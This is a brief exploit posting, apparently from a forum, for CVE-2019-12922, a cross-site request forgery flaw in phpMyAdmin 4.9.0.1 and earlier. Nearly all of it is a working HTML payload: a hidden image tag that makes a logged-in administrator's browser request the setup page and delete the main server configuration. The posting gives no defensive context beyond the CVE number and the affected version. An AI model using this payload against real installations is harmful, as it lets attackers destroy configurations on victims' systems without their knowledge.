phpMyAdmin 4.9.0.1 CSRF

90_

CVE-ID: CVE-2019-12922

phpMyAdmin <= 4.9.0.1

Exploit CSRF - Deleting main server

[AppleScript] 纯文本查看 复制代码

<p>Deleting Server 1</p>
<img src="
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
style="display:none;" />